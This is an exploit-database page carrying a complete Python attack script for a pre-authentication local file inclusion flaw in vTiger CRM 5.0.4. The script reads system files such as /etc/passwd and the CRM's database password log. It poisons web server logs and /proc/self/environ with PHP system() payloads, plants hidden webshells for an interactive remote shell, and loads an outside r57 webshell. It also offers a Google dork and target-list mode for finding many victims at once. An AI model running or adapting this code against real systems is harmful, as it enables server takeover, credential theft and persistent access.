发布 2011-03-05 漏洞条目

vTiger CRM 5.0.4 – Local File Inclusion

Exploit Source

#!/usr/bin/python

# ~INFORMATION: #

# Exploit Title: Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit #

# Google Dork: "The honest Open Source CRM" "vtiger CRM 5.0.4" #

# Date: 5/3/2011 #

# CVE: CVE-2009-3249 #

# Windows link: http://bit.ly/fiOYCL #

# Linux link: http://bit.ly/hluzLf #

# Tested on: Windows XP/Linux Ubuntu #

# PHP.ini Settings: gpc_magic_quotes = Off #

# Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt #

# Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco #

# "ascii" Ongaro are credited with the discovery of this vulnerability. #

# Greetz: mr_me, sud0, sinn3r & my other fellow hackers #

# Note: Loading URL files may require tampering of code ;-) #

# ~VULNERABLE CODE:

'''

if(isset($_REQUEST['action']) && isset($_REQUEST['module']))

{

$action = $_REQUEST['action'];

$current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';

$current_module = $_REQUEST['module'];

}

elseif(isset($_REQUEST['module']))

{

$current_module = $_REQUEST['module'];

$current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';

}

else {

exit();

...

require_once($current_module_file);

'''

# ~EXPLOIT:

import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass

from optparse import OptionParser

from urlparse import urlparse,urljoin

from urllib import urlopen

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"

__DATE__ ="3.3.2011"

__VERSION__ = "1.0"

# Options for running script

usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__

parser = OptionParser(usage=usage)

parser.add_option("-p","--p", type="string",action="store", dest="proxy",

help="HTTP Proxy <server>:<port>")

parser.add_option("-f","--f", type="string",action="store", dest="file",

help="Input list of target URLS")

parser.add_option("-P","--P",type="int",action='store', default="80", dest="port",

help="Choose Port [Default: %default]")

(options, args) = parser.parse_args()

numlines=0

# Parameter for command execution

vulnWebPage = "graph.php?module="

# Loca File inclusion path

lfi = "../../../../../../../../../"

# OS Linux detection

linuxOS = "etc/passwd"

# OS Windows Detection

windowsOS = "windows/win.ini"

# Windows default non-IIS setup access log file for vtiger

winLogs = "../../../logs/access.log"

# Windows Vtiger Instllation PHP Info file

vtPlatformLog = "../logs/platform.log"

# Linux Log files

lnxLogs =['/var/log/access_log',

'/var/log/access.log',

'/var/log/apache2/access_log',

'/var/log/apache2/access.log',

'/var/log/apache2/error_log',

'/var/log/apache2/error.log',

'/var/log/apache/access_log',

'/var/log/apache/access.log',

'/var/log/apache/error_log',

'/var/log/apache/error.log',

'/var/log/user.log',

'/var/log/user.log.1',

'/apache/logs/access.log',

'/apache/logs/error.log',

'/etc/httpd/logs/acces_log',

'/etc/httpd/logs/acces.log',

'/etc/httpd/logs/access_log',

'/etc/httpd/logs/access.log',

'/etc/httpd/logs/error_log',

'/etc/httpd/logs/error.log',

'/usr/local/apache2/logs/access_log',

'/usr/local/apache2/logs/access.log',

'/usr/local/apache2/logs/error_log',

'/usr/local/apache2/logs/error.log',

'/usr/local/apache/logs/access_log',

'/usr/local/apache/logs/access.log',

'/usr/local/apache/logs/error_log',

'/usr/local/apache/logs/error.log'

'/logs/access.log',

'/logs/error.log',

'/var/log/error_log',

'/var/log/error.log',

'/var/log/httpd/access_log',

'/var/log/httpd/access.log',

'/var/log/httpd/error_log',

'/var/log/httpd/error.log',

'/var/www/logs/access_log',

'/var/www/logs/access.log',

'/var/www/logs/error_log',

'/var/www/logs/error.log']

# User Agents

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",

"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",

"Google Chrome 0.2.149.29 (Windows XP)",

"Opera 9.25 (Windows Vista)",

"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",

"Opera/8.00 (Windows NT 5.1; U; en)"]

agent = random.choice(agents)

def banner():

if os.name == "posix":

os.system("clear")

else:

os.system("cls")

header = '''

____ _______________.___ _____________________________

\ \ / /\__ ___/| |/ _____/\_ _____/\______ \

\ Y / | | | / \ ___ | __)_ | _/

\ / | | | \ \_\ \| \ | | \

\___/ |____| |___|\______ /_______ / |____|_ /

__,,,,_

_ __..-;''`--/'/ /.',-`-.

(`/' ` | \ \ \ / / / / .-'/`,_ Version 5.0.4

/'`\ \ | \ | \| // // / -.,/_,'-,

/<7' ; \ \ | ; ||/ /| | \/ |`-/,/-.,_,/')

/ _.-, `,-\,__| _-| / \ \/|_/ | '-/.;.''

`-` f/ ; / __/ \__ `/ |__/ |

`-' | -| =|\_ \ |-' | %s

__/ /_..-' ` ),' // Date %s

((__.-'((___..-'' \__.'

'''%(__CONTACT__,__DATE__)

for i in header:

print "\b%s"%i,

sys.stdout.flush()

time.sleep(0.003)

# Written to clean up shell output

def cleanUp(response):

""" Comment or Uncomment if you want to filter the unwanted text returned in logs """

response = re.sub('<b(.*)',"", response)

response = re.sub("Fatal error(.*)","", response)

response = re.sub("Warning(.*)","", response)

response = re.sub('Notice(.*)',"", response)

return response

def firstMenu():

print '''

[+] 1. Test Environment

[+] 2. Straight To Menu'''

if options.file:

print "[+] 3. Go To Next URL"

menuChoice = raw_input("\n>> Enter Your Choice: ")

if menuChoice == "1":

systemOS = informationGathering()

if menuChoice == "2":

systemOS = raw_input("[+] Which OS? (w)indows Or (l)inux: ")

if menuChoice == "3":

websiteList(options.file)

firstMenu()

if systemOS == "l":

linuxMenu()

if systemOS == "w":

windowsMenu()

if systemOS == None:

firstMenu()

def websiteList(websiteFile):

global numlines

numlines+=1

url = linecache.getline(websiteFile, numlines)

url = url[:-1]

if url == '':

print "[-] No More Entries\n"

sys.exit()

print "\n["+str(numlines)+"] Target: "+url

url=urlparse(url)

return (url, numlines)

def getProxy():

""" Lets you setup a proxy using the proxy defined in options.proxy """

try:

proxy_handler = urllib2.ProxyHandler({'http': options.proxy})

socket.setdefaulttimeout(100)

except(socket.timeout):

print "\n[-] Proxy Timed Out"

sys.exit(1)

return proxy_handler

def lfiRequest(localFile):

""" Lets you send a GET request to see if LFI is posible either by proxy or direct """

if options.proxy:

try:

fetch_timeout = 20

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00",None,fetch_timeout).read()

except urllib2.HTTPError, error:

if error.code == '500':

pass

if options.file:

print "[+] Try Next URL"

websiteList(options.file)

firstMenu()

sys.exit()

else:

print "[-] Check Your Webaddress And Directory"

sys.exit()

except(urllib2.URLError):

print "[-] Could Not Communicate With TARGET\n"

print '[-] Stopping Script\n'

sys.exit()

else:

try:

response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00")

response.add_header('User-agent',agent)

response = urllib2.urlopen(response).read()

response = cleanUp(response)

except urllib2.HTTPError, error:

if error.code == '500':

pass

if options.file:

print "[+] Try Next URL"

websiteList(options.file)

firstMenu()

sys.exit()

else:

print "[-] Did Not Work"

except(urllib2.URLError):

print "[-] Could Not Communicate With TARGET"

print '[-] Stopping Script\n'

sys.exit()

return response

def getRequest(localFile):

""" Lets you send a GET request to see if LFI is posible either by proxy or direct """

if options.proxy:

try:

fetch_timeout = 300

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00",None,fetch_timeout).read()

except urllib2.HTTPError, error:

errorMessage = str(error.code)

if errorMessage == '500':

print error

response = error.read()

pass

else:

print "[-] Verify Address Manually:"

print "[+] "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00"

sys.exit()

else:

try:

response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00")

response.add_header('User-agent',agent)

response = urllib2.urlopen(response).read()

except urllib2.HTTPError, error:

errorMessage = str(error.code)

if errorMessage == '500':

print error

pass

else:

print "[-] Verify Address Manually:"

print "[+] "+url.geturl()+vulnWebPage+lfi+localFile+"%00"

sys.exit()

return response

def socketInject(payloadType):

""" Lets you inject into the Apache access log by proxy or direct """

if options.proxy:

try:

proxyIp, proxyPort = options.proxy.split(':')

proxyPort = int(proxyPort)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((proxyIp, proxyPort))

if payloadType == 'systemPayload':

sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")

sock.send("User-Agent: "+agent+"\r\n")

sock.send("Host: "+url.geturl()+"\r\n")

sock.send("Connection: close\r\n\r\n")

if payloadType == 'includePayload':

sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n\r\n")

sock.send("User-Agent: "+agent+"\r\n")

sock.send("Host: "+url.geturl()+"\r\n")

sock.send("Connection: close\r\n\r\n")

sock.close()

print "[+] Injected Payload Into Logs"

except:

print "[-] Could Not Inject Into Logs"

sys.exit(1)

else:

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((url.netloc, options.port))

if payloadType == 'systemPayload':

sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n")

sock.send("User-Agent: "+agent+"\r\n")

sock.send("Host: "+url.scheme+url.netloc+"\r\n")

sock.send("Connection: close\r\n\r\n")

if payloadType == 'includePayload':

sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n")

sock.send("User-Agent: "+agent+"\r\n")

sock.send("Host: "+url.scheme+url.netloc+"\r\n")

sock.send("Connection: close\r\n\r\n")

sock.close()

print "[+] Injected Payload Into Logs"

except:

print "[-] Could Not Inject Into Logs"

sys.exit(1)

def postRequestWebShell(shellName,encodedCmd):

""" WebShell which sends all POST requests to hide commmands being logged in access.log """

webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+"cache/."+shellName+".php"

if options.proxy:

try:

commandToExecute = [

('cat',encodedCmd)]

cmdData = urllib.urlencode(commandToExecute)

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

cmdContent = proxyfier.open(webSiteUrl, cmdData).read()

cmdContent = cleanUp(cmdContent)

print cmdContent

except:

print "[-] Request To .%s.php Failed" % shellName

else:

try:

values = { 'User-Agent' : agent,

'cat': encodedCmd}

data = urllib.urlencode(values)

request= urllib2.Request(webSiteUrl, data)

response = urllib2.urlopen(request)

response = response.read()

response = cleanUp(response)

print response

except urllib2.HTTPError, error:

response = error.read()

def readFromAccessLogs(cmd, logs):

""" Lets you choose what type of os for the log location and command to run """

if options.proxy:

try:

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

proxyfier.addheaders.append(("Cookie", "value="+cmd))

response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00").read()

except urllib2.HTTPError, error:

response = error.read()

sys.exit()

else:

try:

junk = None

headers = { 'User-Agent' : agent,

'Cookie': 'value='+cmd}

response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00",junk,headers)

response = urllib2.urlopen(response).read()

except urllib2.HTTPError, error:

response = error.read()

return response

def informationGathering():

""" Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on """

# Use default LICIENSE.txt file in webroot to gather information

requestContent = lfiRequest("../LICENSE.txt")

# Test for Magic Quotes

print "[+] INFORMATION GATHERING:"

print "[+] Checking if LFI Is Posible"

magicQuotes = re.compile('SugarCRM Public')

magicQuotes = magicQuotes.search(requestContent)

if magicQuotes:

print "[+] magic_quotes_gpc = Off"

else:

print "[-] magic_quotes_gpc = On"

print "[-] Or Your URL Is Incorrect"

if options.file:

websiteList(options.file)

firstMenu()

else:

sys.exit()

# OS Detection

try:

passwd = getRequest(linuxOS)

searchFor = re.compile('root:')

searchLinuxOS = searchFor.search(passwd)

print "[!] Working Out The Operating System"

if searchLinuxOS:

print "[!] OS Detection: Linux"

systemOS = "l"

elif not searchLinuxOS:

winini = getRequest(windowsOS)

searchFor = re.compile('16-bit')

searchWindowsOS = searchFor.search(winini)

if searchWindowsOS:

print "[!] OS Detection: Windows"

systemOS= "w"

else:

print "[!] No Data Returned, You Will Have To Guess The Operating System"

firstMenu()

systemOS = None

except:

print "[-] Could Not Run OS Detection"

print "[-] System OS Could Not Be Set Try Option 2"

systemOS = None

try:

# Checking for Error Messages

print "[+] Checking If Error Messages Are Enabled"

pathError = re.compile(r"(reference in (.*)on|not found in (.*)graph.php)")

findPath = pathError.search(requestContent)

if findPath:

print "[-] Web Root Directory Is: "+findPath.group(1)

elif findPath == None:

platformRequest = getRequest(vtPlatformLog)

pathWinRootFinder = re.compile('REQUSET\["root_directory"\]</td><td class="v">(.*)</td>')

findWinPathRoot = pathWinRootFinder.search(platformRequest)

if findWinPathRoot:

print "[-] WWWRoot Directory From Platform.log Is: "+findWinPathRoot.group(1)

else:

print "[-] Did Not Find Any Path Disclosure"

except:

print "[-] Could Not Run Error Message Detection"

return systemOS

def environInject(shellName):

""" Lets you get a shell through proc self environ by proxy or without """

webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+"proc/self/environ"+"%00"

shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName

if options.proxy:

try:

print '[+] Testing If /proc/self/environ Exists'

proxyfier = urllib2.build_opener(getProxy())

proxyfier.addheaders = [('User-agent', agent)]

response = proxyfier.open(webSiteUrl).read()

patFinder = re.compile('HTTP_USER_AGENT')

environContent = patFinder.search(response)

if environContent:

print '[+] Web Application Vulnerable to proc/self/environ'

proxyfier = urllib2.build_opener(getProxy())

encodedCommand = base64.b64encode(shellString)

commandToExecute = [

('cat',encodedCommand)]

cmdData = urllib.urlencode(commandToExecute)

proxyfier.addheaders = [('User-agent', "<?php system(base64_decode($_POST[cat]));?>")]

cmdContent = proxyfier.open(webSiteUrl, cmdData).read()

else:

print '[-] Could Not Create Shell'

sys.exit()

except:

print "[-] Seems To Not Be Vulnerable To Proc Self Environment"

linuxMenu()

sys.exit()

else:

try:

shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName

encodedCommand = base64.b64encode(shellString)

headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>',

'cat' : encodedCommand}

cmdContent = urllib2.Request(webSiteUrl,junk,headers)

cmdContent = urllib2.urlopen(cmdContent).read()

except urllib2.HTTPError, error:

response = error.read()

print response

while True:

try:

command = raw_input(commandLine)

encodedCmd = base64.b64encode(command)

postRequestWebShell(shellName,encodedCmd)

except KeyboardInterrupt:

encodedCmd = base64.b64encode('rm .'+shellName+'.php')

postRequestWebShell(shellName,encodedCmd)

print "[-] CTRL+C Detected!"

print "[+] Removed .%s.php\n" % shellName

sys.exit()

def logInject(payloadType):

""" Lets you choose what type of payload to use such as include or system """

inject = raw_input("[?] To Inject? Press ENTER, Otherwise Type 'n' : ")

if inject == 'yes' or inject == 'y' or inject == '':

socketInject(payloadType)

else:

print "[!] Did Not Inject Into Logs"

def proxyCheck():

if options.proxy:

try:

h2 = httplib.HTTPConnection(options.proxy)

h2.connect()

print "[+] Using Proxy Server:",options.proxy

except(socket.timeout):

print "[-] Proxy Timed Out\n"

pass

sys.exit(1)

except(NameError):

print "[-] Proxy Not Given\n"

pass

sys.exit(1)

except:

print "[-] Proxy Failed\n"

pass

sys.exit(1)

def shellMessage(shellName):

print '''

# Shell: .%s.php

###########################

# Welcome To Remote Shell #

# This Is Not Interactive #

# To Exist Shell Ctrl + C #

# Hack The Gibson #

###########################

''' % shellName

# Linux Techniques

def linuxMenu():

print '''

[+] 1. Terminal By Logs

[+] 2. Terminal By Proc Self Environment'''

if options.file:

print '[+] 3. Go To Next URL'

lnxChoice = raw_input(">> Enter Your Choice: ")

# Log Technique

if lnxChoice == '1':

print "[!] Lets Hope You Got Rights To Their Logs!"

for log in lnxLogs:

print "[-] Testing %s" % log

logReponse = getRequest(log)

command2Find = re.compile('" 200')

findCommand = command2Find.search(logReponse)

if findCommand:

print "[+] Injectable Log File Located @ %s" % log

logInject("systemPayload")

yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \'n\': ')

logWithLfi = lfi+log

if yourChoice == '':

shellName = raw_input('[?] Name Of Your Webshell: ')

print '[+] Creating Webshell'

systemCommand = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName

encodedCmd = base64.b64encode(systemCommand)

readFromAccessLogs(encodedCmd, logWithLfi)

print "[!] Tempting To Create WebShell .%s.php" % shellName

shellMessage(shellName)

while True:

try:

command = raw_input(commandLine)

encodedCmd = base64.b64encode(command)

postRequestWebShell(shellName,encodedCmd)

except KeyboardInterrupt:

encodedCmd = base64.b64encode('rm .'+shellName+'.php')

postRequestWebShell(shellName,encodedCmd)

print "[-] CTRL+C Detected!"

print "[+] Removed .%s.php\n" % shellName

sys.exit()

else:

cleanUp(response)

logInject("systemPayload")

while True:

try:

command = raw_input(commandLine)

encodedCmd = base64.b64encode(command)

postRequestWebShell(shellName,encodedCmd)

except KeyboardInterrupt:

encodedCmd = base64.b64encode('rm .'+shellName+'.php')

postRequestWebShell(shellName,encodedCmd)

print "[-] CTRL+C detected!"

print "[+] Removed .%s.php\n" % shellName

sys.exit()

# Environ Technique

if lnxChoice == '2':

shellName = raw_input('[?] Name Of Your Webshell: ')

environInject(shellName)

if lnxChoice == '3':

websiteList(options.file)

firstMenu()

sys.exit()

def windowsMenu():

print '''

[+] 1. Remote File Inclusion Browser Shell

[+] 2. VTiger MySQL Password

[+] 3. PHP WebShell

'''

winChoice = raw_input(">> Enter your choice: ")

if winChoice == '1':

try:

logInject("includePayload")

print "[+] Example: http://www.xfocus.net.ru/soft/r57.txt"

rfi = raw_input('>>> Enter Your Remote Webshell URL: ')

webbrowser.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+winLogs+"%00"+"&cmd="+base64.b64encode(rfi))

print "[+] Check Your Web Browser!"

except:

print "[-] RFI @ %s Did Not Work" % rfi

if winChoice == "2":

f = lfiRequest(vtPlatformLog)

patFinder = re.compile('POST\["db_password"\]</td><td class="v">(.*)</td>')

findUser = patFinder.search(f)

if findUser is None:

print '[-] Did Not Find MySQL Database Password'

else:

print "[!] VTiger Password: "+findUser.group(1)

if winChoice == "3":

logInject("systemPayload")

shellName = raw_input('[?] Name Of Your Webshell: ')

systemCommand = "echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php" % shellName

encodedCmd = base64.b64encode(systemCommand)

readFromAccessLogs(encodedCmd, winLogs)

print "[!] Created WebShell .%s.php" % shellName

shellMessage(shellName)

while True:

try:

command = raw_input(commandLine)

encodedCmd = base64.b64encode(command)

postRequestWebShell(shellName,encodedCmd)

except KeyboardInterrupt:

encodedCmd = base64.b64encode('del .'+shellName+'.php')

postRequestWebShell(shellName,encodedCmd)

print "[-] CTRL+C Detected!"

print "[+] Removed .%s.php\n" % shellName

sys.exit()

if "__main__" == __name__:

banner()

proxyCheck()

try:

url=urlparse(args[0])

except:

if options.file:

print "[+] Using Website List"

url,numlines = websiteList(options.file)

else:

parser.print_help()

print "\n[-] Check Your URL\n"

sys.exit(1)

if not url.scheme:

print usage+"\n"

print "[-] Missing HTTP/HTTPS\n"

sys.exit(1)

commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)

if not options.file:

print "[+] Target: "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path

firstMenu()

作者: TecR0c
日期: 2011-03-05
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection